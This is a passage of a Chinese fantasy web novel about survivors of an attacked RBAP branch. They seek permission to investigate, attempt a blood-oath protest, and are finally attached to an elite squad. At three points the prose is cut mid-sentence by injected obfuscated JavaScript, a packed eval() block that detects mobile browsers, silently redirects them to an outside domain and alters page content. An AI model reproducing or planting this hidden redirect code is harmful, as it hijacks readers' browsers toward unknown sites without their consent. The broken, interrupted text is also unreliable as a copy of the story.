安弥吓了一跳,这才想起来纪元还在自己的手串里,于是如实回答,“是的,我在这里一天都待不下去。我想回灰港,去调查暗之住民的事情。在这里每多待一天,调查的难度就会多增加一点。” “恐怕不容易,暗之住民被阿尔法小队接手了。我昨天翻档案的时候看到了RBAP总部的组织架构,阿尔法小队是特别行动部的,直属局长克劳利,如果你想回灰港,不但要打通我们所在的城市响应科主管哈里森,还要搞定沃尔特,甚至克劳利。” 安弥心中暗自惊讶,原来他昨天那随意一翻,就已经有印象了。 “不是有印象,是全部都记住了。”纪元纠正了她,“记录和观察是我最基础的能力。要不是我现在的力量所剩无几,那些书和档案资料我连碰都不用碰,就可以直接获取到里面的全部信息。” ……好吧,差点忘记这位是什么样的存在了。 也正是因为如此,听了他给的信息,她更沮丧了:“哈里森主管看起来就好难说话,阿尔法小队就更……不管了,找亚瑟!今天早上就去找亚瑟去说!” 打定主意的安弥,立刻跳下了床,用最快的速度洗漱完毕。 她换上了总部的黑色制服,没有佩戴马库斯分发给她的新徽章,而是佩戴了安培风在灰港分局地下亲手交给她的那枚,然后才冲出了宿舍,从食堂里叼了个面包,就直奔那间地下的B102室而去。 果不其然,亚瑟已经到了。 他正站在那面巨大的、早已过时的新阿尔比恩城市地图前,眉头紧锁,不知道在想什么。 听到安弥急促的脚步声,他回过头来。 “早上好,安弥。怎么这么早?” “亚瑟!”安弥开门见山,将昨晚在脑海中盘旋了一夜的想法,一股脑地倒了出来,“我们不能再这样等下去了!哈里森主管根本就没打算给我们任何真正的任务。我们必须想办法,回灰港去调查暗之住民!” 亚瑟点了点头,“是的。我昨天下午已经提交申请了,哈里森主管还没批复,等一早到了上班时间我再去问问。” 他的声音沉稳可靠,像一剂镇定剂,暂时抚平了安弥心中那份焦躁的火焰。 “……好。”安弥点了点头。她选择相信亚瑟。 她的话音刚落,芬恩就脚步匆匆地冲了进来。他草草地打了声招呼,“早上好!” 便一屁股坐在了自己的座位上,开始飞快地翻他案头那本已经翻烂了的书。 “芬恩,你怎么这么着急?”安弥问道。 芬恩说:“昨天晚上我突然想到了一个好点子,我记得《芬奇炼金术原理》里有相关的记录,但昨天下班我忘了把这本书带回家了,赶紧来查查。” “芬奇炼金术原理?”亚瑟的面色显得有些奇怪,“菲利克斯·芬奇?” 芬恩眼睛亮了起来:“对!菲利克斯·芬奇!当代最伟大的炼金术师!他现在是RBAP的技术研发部主管,我就是因为他才加入RBAP的。你知道他?” “知道。”亚瑟的声音冷了下来,明显不愿再多谈。 芬恩没有注意到亚瑟的情绪上的微妙变化,直接沉入了他的研究之中。 安弥看看亚瑟,又看看芬恩,心中隐约觉察到了一丝不寻常。 她知道菲利克斯·芬奇,是安培风的队友。但跟安培风的另一个队友巴纳比·科尔时常去灰港看他们不同,芬奇跟安培风联系不多,安培风也很少提起他。如今看亚瑟的反应,似乎有一些她不知道的隐情。 没过多久,纪元和阿克西斯也相继抵达。一个继续去以那种令人费解的速度翻旧档案,一个安静地伏在案上,在他的笔记上不停地书写着什么。 维多利亚几乎踩着最后一秒出现在了办公室门口。她依旧是昨天那身利落的训练服,身上还带着清晨训练后的、一丝微凉的寒气。 她对在办公室里“过家家”毫无兴趣,她原本的打算是继续跟昨天一样去训练场训练。正当她准备开口,大发慈悲地交代一下自己的去向时,亚瑟的声音却先响了起来。 “九点了。”亚瑟抬起手腕,看了一眼手表,站起身来对众人说,“昨天我提交了调查灰港分局暗之住民袭击事件的申请,我现在去哈里森主管那里问问结果。” 说罢便没有继续多言,匆匆走出了办公室。 维多利亚顿了顿,没有去训练场,坐回了自己的座位上,开始神情漠然地擦剑。 安弥望眼欲穿地看着亚瑟离开的身影,再也看不下去手头的《RBAP员工手册》,枯坐在座位上等待着亚瑟的结果。 时间仿佛被无限地拉长了。 远处管道的蒸汽嘶鸣,纪元翻过书页的声音,甚至阿克西斯笔尖划过纸张的沙沙声,都像是在敲打着安弥那早已绷紧的神经。 亚瑟却迟迟没有回来。 就在安弥等得受不了,想要出门看看亚瑟有没有回来的时候,走廊里终于传来了亚瑟熟悉的脚步声。 安弥忍不住从椅子上站了起来,紧紧地盯着门口。 然而,当亚瑟出现在门口时,她一眼就知道了结果。 希望……破灭了。 虽然亚瑟努力维持面上的冷静,可是从他那过分紧绷的下颌线和那双失去了光彩的蓝色眼眸中,不难猜出了他经历了什么。 他轻轻地摇了摇头,“不行,哈里森主管拒绝了我。他说我们现在归属城市响应科,我们的职责是处理新阿尔比恩发生的异常事件,灰港那件事已经交由阿尔法小队全权负责了。” 和纪元早上的预判一模一样。 安弥咬了咬嘴唇:“不行,我不接受。” 亚瑟的眼眸里闪过痛苦的挣扎,“可是哈里森主管说的没错……” 安弥上前一步,语气激动,“我们可以……可以去找马库斯叔叔!他人那么好,他一定会帮我们的!或者,我们可以直接去找那个阿尔法小队的队长,沃尔特·琼斯!我们去求他,我们是来自灰港分局的人,最了解当地的情况,一定能帮上忙的……” “安弥。”亚瑟打断了她,那双如同天空般清澈的蓝色眼眸,此刻却蒙上了一层阴云,“这里,不是灰港。” “这里是总部。在这里,我们说的每一句话、做的每一件事,都必须遵守这里的规则。” “马库斯叔叔他只是一个后勤主管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536769|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这不属于他的管辖范围。而沃尔特·琼斯,他是直属局长的精英队长,我们没有直接向他提出要求的资格。” “那我们就什么都不做吗?!”安弥的声音因为激动而猛然拔高,“我们就待在这个地下室里,眼睁睁地看着那些杀害了我们家人的凶手逍遥法外?!” “安弥,冷静!”亚瑟的声音也高了起来,但他又很快把声音压了下去,笨拙地试着安抚眼前激动的女孩,“阿尔法小队是RBAP最精锐的队伍,相信他们,一定会查清真相,为我们的家人报仇的。” “我不要,”安弥的眼眶瞬间就红了,她拒绝了他的安抚,“如果……如果RBAP不让我们去查灰港的案子,我就辞职,自己去查!” 这句话,像一颗投入死水的石子。 一直埋头研究的芬恩抬起头看了安弥一眼,琥珀色的眼眸里流露出一丝同情。 一直安静地站在档案柜旁边的纪元,漆黑的眼眸落在了安弥身上。 一直默默书写的阿克西斯,笔尖悬在了纸上。 “行了。”这时,一个清冷的声音响了起来。 是维多利亚。 她看着安弥,眼睛里闪过了一丝不易察觉的赞赏。 眼前这个来自偏远分部的幸存者,此时正在因为激动而浑身颤抖。她的咆哮像一根火柴,点燃了她心中那份早已不耐烦的引线。 她冷冷地开口,打断了对峙的两人。 “别像个被抢了糖果的小孩一样在这里哭哭啼啼了。”她的声音还带着一贯的刻薄,说出的话却让两个人重新燃起了希望,“这件事,交给我。” 亚瑟那双黯淡下去的蓝色眼眸重新聚焦。 他抬起头,看着眼前这位一直我行我素的高傲贵族大小姐,没想到她会在关键时刻挺身而出。 “交给你?”他的声音郑重,“你打算怎么做,菲尼克斯?” 维多利亚扬起了她轮廓优美的下巴,神情倨傲:“我去找我的父亲。” “我的家族在RBAP有一定的影响力。如果由我的父亲亲自去找哈里森主管,我相信他会重新考虑我们的申请。” 安弥的眼睛一下子亮了起来。 菲尼克斯家族的大名,连远在灰港的她都知道。 他们的祖上是猎魔人,在帝国建立初期便立下了赫赫战功,代代为王室效力,是当今声名最为显赫的几大贵族之一。 他们自称凤凰的血脉,传说最标志的菲尼克斯家族的人,拥有一头独一无二的红发和紫焰般的眼睛。维多利亚就是如此。 如今她愿意出手帮他们,顿时让她充满了希望。 “好!”亚瑟也瞬间打起了精神,他站直身体,向着维多利亚,行了一个标准的、军人式的点头礼,声音里充满了托付与信任,“那就拜托你了,菲尼克斯。” 芬恩在他一堆仪器后面也不由自主地跟着点了下头,如果维多利亚愿意出手的话,事情成功的概率就提高了很多。 维多利亚看着眼前这群因为她一句话而重新燃起了希望的队友们,那张总是冷冰冰的脸上浮现出了一丝不自在。 “……哼。”她用一声惯常的冷哼来掩饰自己内心的那丝异样,然后转身,头也不回地走出了办公室,“等我消息。” 16. 维多利亚的办法 维多利亚站在父亲的书房门前。她知道自己的父亲就在里面。 书房的门由厚重的橡木制成,上面雕刻着菲尼克斯家族凤凰浴火的家徽。 她酝酿了一下措辞,深吸了一口气,才抬起手,用一种贵族特有的克制力度敲了敲门。 “进来。” 门内传来了一个威严的声音。 维多利亚推开了门。 她的父亲佩雷格林·菲尼克斯伯爵,正坐在一张巨大的书桌后面。 他穿着一身剪裁考究的深色正装,有些花白的头发梳理得一丝不苟,此时正戴着一副单片眼镜,专注地审阅着一份文件。 “父亲。”维多利亚走到书桌前,微微躬身行礼。 “嗯。”菲尼克斯伯爵从喉咙里发出了一个表示听到了的单音节,目光依旧没有离开手中的文件,“怎么现在就回来了?” 维多利亚默默攥紧了拳头。她知道在奉行精准与效率的父亲面前,任何多余的寒暄与周旋都是不被允许的,她只能直入正题。 “父亲,我今天来,是有一件事需要您的帮助。” 这句话终于让菲尼克斯伯爵放下了手中的文件。他缓缓地摘下了单片眼镜,用一块丝绒手帕,慢条斯理地擦拭着。 “说。”他抬起眼睛看向了自己的女儿。 他的眼睛和维多利亚一样是紫色的,只是因为岁月的沉淀,显得更加深邃和冰冷。 维多利亚说:“昨天,来自灰港分部的三个新成员加入我所在的第七外勤调查组,亚瑟·索恩是队长,他是前黄金小队的队长加文·索恩的儿子。” 菲尼克斯伯爵打断了她:“说重点,维多利亚。” 维多利亚顿了顿,接着说:“暗之住民袭击灰港分局的事情您已经知道了,亚瑟他们三个是仅存的幸存者,他们下定决心要查清真相,为他们的战友们报仇。可是,哈里森主管却只让他们在办公室里学习员工手册。这不合理,父亲。” 说完,她看了一眼菲尼克斯伯爵,发现对方没有要表达观点的意思,于是鼓足勇气一鼓作气地提出了她的请求。 “所以,我希望父亲能以菲尼克斯家族的名义,向哈里森主管,或者直接向局长办公室提出交涉。” “亚瑟他们是灰港事件的受害者,他们有权利亲自去调查这件事情,而不是被雪藏在RBAP的地下室里。” “而我,作为菲尼克斯家族的后裔,也不能接受自己这样一天天蹉跎时间,我应该去做更有意义的事情。” 她以为她这番充满了大义与荣誉感的陈词,至少能得到父亲的认可。 然而,菲尼克斯伯爵的脸上没有任何表情。 许久,他冰冷的声音才响了起来:“这件事情,我不会插手。” 说罢,便重新戴上了那枚单片眼镜,拿起了桌上另一份文件放在了自己的面前。 他的态度不言自明——他要继续办公了,她可以出去了。 这句话像一盆冰水,兜头浇在了维多利亚那颗满怀期待的心上。 “……为什么?!”她平静的声音第一次出现了无法抑制的波动。 “维多利亚,灰港的这件事情我知道。克劳利已经派出了最精锐的阿尔法小队,这已经是程序上最高规格的处理了。” “可是这还不够,父亲!假如易地而处,菲尼克斯家族绝不会在自己的家人被重创后还能保持冷静,什么都不做。亚瑟他们也是一样!我们为什么不能帮帮他们呢?” 说到最后,维多利亚不由得放缓了语气,想要放低姿态请求父亲的帮助。 “父亲,您不需要动用家族的力量去施压,”她试图寻找一个菲尼克斯伯爵能够接受的折中方案,“您只需要以您的私人名义,向哈里森主管提出一个小小的建议……只要您为亚瑟他们说上几句,或者,为您的女儿争取一个锻炼的机会,哈里森主管一定会同意的。由哈里森主管去向阿尔法小队提议,我想阿尔法小队不会拒绝的。” 菲尼克斯伯爵放下了原本已经拿起的笔,打量着维多利亚。 就在维多利亚以为自己的退让终于打动了菲尼克斯伯爵时,他终于开口了。 “你觉得几个灰港的幸存者,值得我用我的面子去向哈里森提建议吗?还是你觉得,我会放任自己的女儿,去挑战团灭一整个分局的秘密教团?” “我再说最后一次,维多利亚。这件事情到此为止。出去。” 菲尼克斯伯爵的逐客令像压倒骆驼的最后一根稻草,彻底打消了维多利亚心中最后一丝幻想与期盼。 她僵在了原地,心沉到了谷底。 原来在父亲的眼里,家族的面子比同僚的公道更重要,她的安全可控比她自己的意志更重要。 她终于明白,在她的父亲那冰冷的天平上,从来没有什么对与错,只有充满了算计的值得与不值得。 安弥他们的复仇、她自己的理想,都属于不值得的那一端。 她痛苦地意识到,那个曾经会教导她“何为猎魔人荣耀”的父亲已经消失了。 如今坐在她面前的,不是一个延续猎魔人家族荣耀的族长,而是一个只懂得权衡利弊的政客。 她默默地行了一个屈膝礼,转身走出了这间冰冷的书房。 此时正值正午,阳光透过走廊上方的彩绘玻璃窗洒在走廊的地毯上,形成一片片斑斓的光斑。 但维多利亚却感觉不到一丝一毫的温暖。 父亲最后的拒绝像一根淬了毒的冰锥,反复地在她那颗骄傲的心上钻凿着。 她一直以为作为猎魔人出身的菲尼克斯家族,不同于那些迂腐、靡烂的贵族,是自己的坚守、自己的荣耀的。 如今看来,父亲与他们也没有什么不同。 如果母亲还在世的话……她一定不会这样做的! 一股前所未有的混杂着失望、愤怒与决绝的火焰,在维多利亚的胸中熊熊燃起,她做了一个大胆的决定。 她加快脚步,飞速地赶回了RBAP总部那间位于底下的昏暗的办公室。 可是快走到门口的时候,她的脚步却慢了下来。 他们对自己寄予厚望,如今要怎么跟他们交代呢?自己的那个办法真的可行吗? 果不其然,她一进门,所有人的目光就齐刷刷地转向了她。 安弥的眼中充满了的期盼。 亚瑟的眼中,满含着将所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536770|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希望都托付出去的郑重。 就连总是对一切都漠不关心的芬恩,都从他那堆零件后面抬起了头,静静地等待着她的答案。 这些充满了信赖与期盼的目光,像一根根烧红的针,刺得维多利亚浑身不自在。 她平生第一次产生了想要逃避的念头。 但她是维多利亚·菲尼克斯。 她的词典里没有逃避这个词。 “……怎么样,菲尼克斯?”亚瑟的声音沙哑,带着一丝让维多利亚如坐针毡的期盼,“你的父亲他……” “他拒绝了。”维多利亚冷冷地说。 整个办公室,再次陷入了令人窒息的沉默之中。 她清楚地看到,安弥眼中刚刚燃起的希望,瞬间就熄灭了,亚瑟重新挺直的脊梁,又一次颓然地垮了下去。 “但我还有一个办法。”维多利亚看着众人,“就看你们敢不敢。” “什么办法?只要可以回灰港调查,我什么都敢!”安弥毫不犹豫地答道。 亚瑟点了点头:“你说,维多利亚。” 维多利亚拿出了自己的佩剑,拔出到一半,又“唰”地一声重新归鞘。刺剑发出的一声铮鸣,让她下定了决心。 维多利亚眼睛亮得惊人:“英灵殿。” “在RBAP,有一个地方,叫英灵殿。” “在那里,荣誉是唯一的通行证。任何权力都无法将其玷污。” “我们去那里,划破手掌,将自己的鲜血按在那里的英灵纪念碑上。然后,整个RBAP都会收到通知。这是一种最古老的鸣冤与质问仪式。它将迫使整个总部对我们的行为做出正式回应。” 她深吸了一口气,接着说道:“不过这样一来,我们就彻底得罪哈里森了。最坏的结果,是我们所有人因为质疑组织安排被送上内部法庭。” “要不要去?”维多利亚那双燃烧着火焰的紫色眼眸,依次扫过在场的每一个人,等待着他们的回答。 “我去!”第一个做出回应的是安弥。 她原本已经失去血色的脸上,因为这最后一丝希望而重新染上了一抹红晕。 她看着维多利亚,眼中充满了毫无保留的信任与感激。 “我也去。”亚瑟的声音第二个响了起来。 维多利亚嘴角微微勾了起来。她还以为亚瑟这个恪守规则的老古板会迟疑一下,没想到倒是斩钉截铁。 维多利亚的目光转向了平时因为沉默寡言、举止怪异而显得格格不入的纪元。 纪元没有看她,他的目光正饶有兴味地落在了安弥的脸上:“她去哪里,我就去哪里。” “卡斯比安,你呢?”维多利亚看着芬恩,“我们要去灰港调查暗之住民,你要是怕死的话……” “我去。”芬恩打断了她,琥珀色的眼眸显得宁静而通透,“如果是我的家人受到了伤害,我绝不能接受什么都不做,只是等待别人处理的结果。” 维多利亚怔了怔,没想到在这里听到了她早些时候向父亲提出的那个问题的答案。 然后她看到他对着她露出了一个极浅却充满礼貌的微笑,“还有,维多利亚小姐。我更希望你能叫我芬恩。” 17. 英灵殿 马库斯·克雷格刚结束了一次与军械供应商的会面。 这是一个大客户,他亲自将对方送到了RBAP总部的台阶下,脸上还挂着他那标志性的温厚可靠的笑容。 就在这时,他的眼角余光捕捉到了几个昨天才刚刚见过的身影。 他们正穿过总部前面的广场,朝着大楼西侧那条僻静的廊道走去。 为首的走着的,是因为过于高傲和难以相处,被其他队伍找借口换出来的菲尼克斯家大小姐维多利亚。 紧随其后的,是加文·索恩家的小子亚瑟,他此时一脸凝重,腰背挺得笔直。 他的身边,是那个来自灰港的漂亮东方小姑娘,此时也是一脸决绝。 布莱克伍德分支家的小子和来自灰港的另一个调查员纪元,则安静地跟在最后。 他的心里“咯噔”一下。 那个方向通往的目的地只有一个——英灵殿,RBAP最神圣、也最敏感的地方。那里存放着的是那些因公殉职的精英调查官的遗物与名录。 他不认为他们去是为了缅怀先烈的。 他知道这几个孩子被哈里森安排进了地下的档案室,没给他们安排什么正经事情做。 更大的可能性,他们的目的恐怕是去举行那个早已被大多数人遗忘的仪式,向整个RBAP提出公开质问的仪式。 马库斯努力维持着脸上得体的微笑,将客户送上了豪华的蒸汽汽车,对着远去的汽车摆了摆手。等对方的车消失在街道尽头,他脸上的笑意瞬间消失了,立刻向着几个年轻人前进的方向快步跟了上去。 英灵殿的大厅是一个由大理石和黑曜石搭建而成的圆形大厅,穹顶之上有一圈由炼金术驱动模拟出的星辰,散发着清冷而柔和的光辉。 大厅的中央,静静地矗立着一座黑色的方形石碑,上面没有镌刻任何文字,却承载着RBAP自创立以来所有牺牲者的重量。 大厅的后方,是一道通往纪念厅的拱门,那里存放着那些因公殉职的调查员们的遗物和名录。 维多利亚径直走到了那座黑色的石碑前。 “在这里,以血起誓,是RBAP创立之初就有的规则。”她的声音,在空旷的殿堂里回响,带着一丝冰冷的回音,“一旦有鲜血触碰到碑面,整个RBAP就会响起古老的钟声,传遍总部的每一个角落。到时候,我们就会得到一个在整个RBAP所有成员面前陈述主张的机会,RBAP必须在所有人的见证下给我们正式的答复。” 她顿了顿,目光依次扫过身后的同伴。 “但在那之后,我们就再无退路了。要么得到我们想要的正义,要么因为破坏RBAP的秩序,而受到严厉的惩罚。” 几个年轻人互相看了一眼,都在彼此眼睛里看到了一往无前的坚定。 “我先来。”亚瑟走到她的身边,从武装带上拔出了自己的军用匕首。 就在这时,一个声音响了起来:“住手。” 众人望向声音传来的方向,只见大厅后方的纪念厅的拱门处,走出了一个人。 他看上去四十多岁的样子,面容冷峻,穿着一身笔挺的黑色西装,戴了一副银色细框眼镜。 他灰蓝色的眼睛扫过众人,最后落在了亚瑟那张瞬间写满震惊与戒备的脸上。 “亚瑟,住手。” “芬奇……叔叔。”亚瑟的声音瞬间变得艰涩无比,握着匕首的手猛然收紧,指节因为过度用力而泛白。 来人正是前黄金小队的副队长、如今的技术研发部主管菲利克斯·芬奇,亚瑟的父亲加文·索恩和安培风的前队友。 “亚瑟,你要做什么?”芬奇的眉头紧紧地皱了起来。 他刚才在纪念厅里,听到有人说话,言谈之中提到了血誓之类的字眼,便走出来看看情况。 没想到出来见到的竟是故人的儿子,正准备做出如此疯狂的举动。 “芬奇叔叔,我们要为逝去的人寻求一份正义。”亚瑟的声音变得冰冷而坚定,“安叔叔和灰港分部的调查员们都牺牲了,我们申请调查此事,哈里森主管拒绝了我们的申请,只让我们学习那毫无意义的学习手册。” “……学习手册怎么会是无意义的呢?它可以让你在这里更好地生存。”芬奇正色道。 “更好地生存,”亚瑟冷笑,“所以,在您的心中,更好地生存,高于一切是吗?” 芬奇定定地看着亚瑟那张像极了队长加文·索恩年轻时的脸,许久,才点了下头,“是。” “但我们不是!”亚瑟的眼圈有些发红,声音也高了起来,“我们不是您,对我们来说有比生存更重要的东西!” 芬奇张了张嘴,正要回答,另一个声音响了起来。 “这是……怎么了,芬奇?还有……孩子们?” 众人循声望去,看到大门口出现了一个微胖的身影——正是后勤档案部主管马库斯·克雷格。 马库斯的声音因为快速赶路有点不稳,鼻尖沁出了细细的汗珠。 他掏出白色的手帕,边擦汗边扫了众人一圈,目光最后落在了亚瑟的手中那柄还未出鞘的匕首上。 “胡闹!”马库斯快步走了上来,声音里带上了严厉的斥责,“你们知不知道你们在做什么?!” 看到几个年轻人因为他的斥责有些愣怔,他的声音放轻了一些,但语气还是十分严肃:“亚瑟,你一直都是个沉稳可靠的好孩子,怎么会做出这样冲动的事情来?” 亚瑟抿了抿唇,刚才面对芬奇的尖锐软化了下来。 “马库斯叔叔,我和安弥都是在灰港分局长大的,那里对我们来说就像家一样。现在,灰港分部发生了这样的事情,我们的家没了,我们怎么可能安心地待在总部呢?可是,可是哈里森主管拒绝了我们的申请,我们实在是没办法了……” “……好孩子,我知道,你们受了天大的委屈,”马库斯的声音恳切,那双总是笑眯眯的眼睛里此刻充满了真诚的关怀与痛心,“但是,用这种方式……用这种可能会彻底毁掉你们前途的方式,去换一个可能并不会成功的结果,这值得吗?” 他看了一眼旁边沉默不语的芬奇,接着说:“从程序上来说,灰港分局的案件已经由局里最精锐的阿尔法小队接管,哈里森主管这样的安排没有任何不妥。所以,即使你们得到了申诉的机会,也未必能达到目的。” “可是……” “把武器收起来,听我说。硬碰硬不是解决问题的办法。”马库斯郑重道,“这件事,交给我。” “由我来去和那些老顽固们周旋。我会把你们的声音传达给他们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536771|186594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们不需要用这种方式来赌上自己的未来。” 他顿了顿,目光依次扫过每一个人,安抚地微笑:“相信你们的马库斯叔叔,可以做到这件事。回家去好好休息一下,等我的消息。” --- 英灵殿的这场风波,最终在马库斯·克雷格温暖而坚定的承诺中被平息了。 然而,对于维多利亚·菲尼克斯而言,这场风波的余震才刚刚开始。 最初的信号是,她的家族马车没有把她带到正门,而是侧厅的仆役通道。 她心中了然,推开车门,没等车夫为她放下脚凳,便径直跳下了马车。 头发花白的老管家温特斯早已等候在了门内。 他对着维多利亚躬身行礼,声音克制:“小姐,伯爵大人在书房等您。” 维多利亚的心沉了下去。 书房的门虚掩着,敲门后里面没有声音。 维多利亚大着胆子推门走了进去,看到她的父亲,佩雷格林·菲尼克斯伯爵,正背对着她,站在书房里可以俯瞰整个庄园的落地窗前。 “父亲。”维多利亚走了过去,躬身行礼。 菲尼克斯伯爵没有转身,只听到他冰冷的声音在寂静的书房里响了起来。 “我听说,你今天去了一趟英灵殿。” “是。”维多利亚知道父亲这不是一个问句。在她的父亲面前,任何的辩解与修饰都是多余的,他只需要她直接承认。 “我以为我说得很清楚了。”菲尼克斯伯爵的声音冰冷,“你的愚蠢超出了我的想象,维多利亚。” 菲利克斯伯爵缓缓地转过身来看着自己的女儿:“你让我感到困惑。” “我,教导你剑术,教导你谋略,教导你如何在充满了豺狼与鬣狗的丛林里生存下去。” “我以为你已经学会了如何像一个菲尼克斯一样去思考、去权衡利弊、去选择对家族和你自己最有利的道路。” “但是,你今天却为了几个与你毫不相干的弱者,去进行了一场毫无意义的胡闹。” 维多利亚努力让自己的声音听起来不卑不亢:“那不是胡闹,父亲。我们不能对同伴的冤屈视而不见。这是我们菲尼克斯家族世代传承的猎魔人的荣耀。” “维多利亚,你觉得让菲尼克斯这个姓氏,和一群来自偏远分部无足轻重的幸存者捆绑在一起,去挑战RBAP最高规格的决议,是一种荣耀?” “你差点让整个总部高层、整个RBAP,都看到菲尼克斯家的继承人是如何的幼稚、冲动、毫无大局观。你管这叫菲尼克斯的荣耀?” 他一步步逼近自己的女儿。高大的身影在昏暗的灯光下投下了令人窒息的阴影。 “你让我很失望,维多利亚。” 维多利亚的脸因为愤怒与不甘而微微涨红,小声争辩道,“如果是妈妈,她也一定也会这么做的。” “你说什么?”菲尼克斯伯爵的声音瞬间冷得仿佛寒冰。 “我说,我记得妈妈是怎么教育我的。或许您忘了,但我没有忘!”维多利亚忍不住大声说。 “够了!不准再提她!”菲尼克斯伯爵猛地一拍桌子,打断了她。 “从今天起,你就待在你的房间里,哪里也不准去!直到你想清楚怎么做一个菲尼克斯为止!” 18. 克劳利局长 从英灵殿出来之后,马库斯嘱咐七组的成员们对此事一定要守口如瓶,以免引起不必要的麻烦,于是大家又回到了位于地下的B102室。 比马库斯叔叔的消息更快到达的是哈里森主管的新任务。 他终于不让7组学习员工手册了,虽然新任务也好不到哪里去。 “你们的任务,是整理RBAP创立以来城市响应科处理过的所有事件的卷宗,按照年份、任务类型、危险等级以及最终处理结果分门别类。” “这是一个很重要的工作。”哈里森嘴角勾起了一个毫无笑意的笑容,“在你们完成这项工作之前,城市响应科没有其他任务可以指派给你们。” 于是B102办公室看起来更像档案室了,而且是充满了尘埃与霉味的档案室。 后勤人员用推车运进来了成堆成堆的泛黄卷宗,散发出旧纸张特有的酸腐气味,几乎将整个办公室的空间都填满。 果然,这就是哈里森。 哪怕他不知道他们做了什么,还是不会给他们任何正经事情做。 安弥和亚瑟沉默着开始埋头工作。 维多利亚自从带他们去英灵殿的第二天就没有再来办公室了。 亚瑟去询问过哈里森主管维多利亚的情况,得到的回复是她在家休养了。但这个时机也太巧了,前脚他们刚去了英灵殿,后脚她就“在家休养”了。 这让安弥和亚瑟的心头都蒙上一层挥之不去的阴霾。 芬恩看上去则适应得多。 他有些不好意思地举了下手,“那个,如果有炼金术相关的卷宗,能拿给我看看吗?” 一直在角落里安静地做自己事情的阿克西斯也走了过来:“我是档案员,可以帮忙。” 但安弥感觉最兴致勃勃地是纪元。虽然他看上去还是面无表情,但他那如同机器般丝毫没有慢下来的翻阅档案速度,明显是乐在其中。 安弥终于忍不住打断了他:“纪元,你不要看完就放下,你要跟我们一起工作。你来负责把卷宗先做大的分类。” 纪元点了点头,开始按安弥说的,翻完卷宗后,在每个卷宗封面上做分类标注。 安弥好奇地凑过去看了看,发现他不仅会写当代的字,而他的字飘逸洒脱,非常漂亮。 就在这时,办公室的门直接被推了开来。 一个面容冷峻的男人出现在了门口。他身穿最高级别文职制服,胸前佩戴了一枚象征局长办公室直属的银色鸢尾花徽章。 来人面无表情地扫视了一圈办公室的人,确定引起了亚瑟他们的注意后才道:“第七外勤调查组全体成员,局长要见你们。现在。” 局长办公室在RBAP总部的最顶层。 走廊铺着厚重的深红色隔音地毯,墙壁上没有悬挂任何装饰画,只有一排排由黄铜与黑曜石构成的冰冷的几何线条。 安弥跟在亚瑟的身后,手心里沁出了一层细密的冷汗。 她不知道这位RBAP的最高统治者——埃利法斯·克劳利,究竟为何要在此刻召见他们这群初出茅庐的新人。 是因为他们在英灵殿的行为吗? 亚瑟的背影依旧挺拔得如同一杆标枪,但安弥能从他那微微收紧的肩部线条里感受到同样的紧张。 终于,他们在一扇没有任何装饰的黑檀木门前停下了脚步。 带领他们的那位文职人员轻轻地敲了敲门。 “进。”一个低沉威严的声音从门内传了出来。 文职人员打开门,安弥闻到了一股淡淡的、高级雪茄和古老皮革的味道。 克劳利的房间非常简约,书架上整齐地排列着各类典籍,从历史到哲学,从炼金术到军事理论,一应俱全。 巨大的落地窗擦得一尘不染,能将整个新阿尔比恩、连同它那灰蒙蒙的天际线都尽收眼底。 RBAP的局长埃利法斯·克劳利,就坐在一张巨大的黑檀木办公桌后。 他的脸庞看上去冰冷坚毅,如同古罗马雕塑般线条分明。他的眼睛是深灰色的,仿佛能洞悉一切,深邃到让人感到战栗。 “局长,第7外勤调查组的人到了。” 克劳利点了点头,目光先是落在了亚瑟的身上。 “索恩调查官,我理解你的悲痛。但这不是你带领你的队员们挑战组织权威的理由。RBAP是依靠秩序才得以运转的军队,不是一个让你们随意宣泄个人情绪的酒馆。” 这番话让亚瑟和安弥的心沉入了谷底。 果然,克劳利局长对他们在英灵殿的一举一动都了如指掌。 在去英灵殿的时候,他们满腔热血,一往无前。可是当他们站在克劳利局长面前时,只觉得自己如此渺小,仿佛真的犯了不可饶恕的错误。 就在这时,克劳利的话锋一转。 “但是,哈里森的行事方式,同样违背了RBAP的秩序。” “情义、正义、理想,与秩序和规则一样,同样是RBAP调查员们的安身立命之基。” “他无视幸存者的悲恸与决意,拒绝了你们调查灰港事件的申请,这不是一个合格的RBAP长官会做出的决策。他会被记一次正式的申诫。” 亚瑟和安弥被这意外的转折震惊得说不出话来。 他们从来没想过这位传闻中铁面无私、冷酷严厉的克劳利局长竟然会说出这样的话。 正在他们感慨万千时,克劳利局长的声音接着响了起来:“我宣布,第七外勤调查组从即刻起,并入阿尔法小队的指挥序列,全力协助阿尔法小队完成他们的调查任务。” 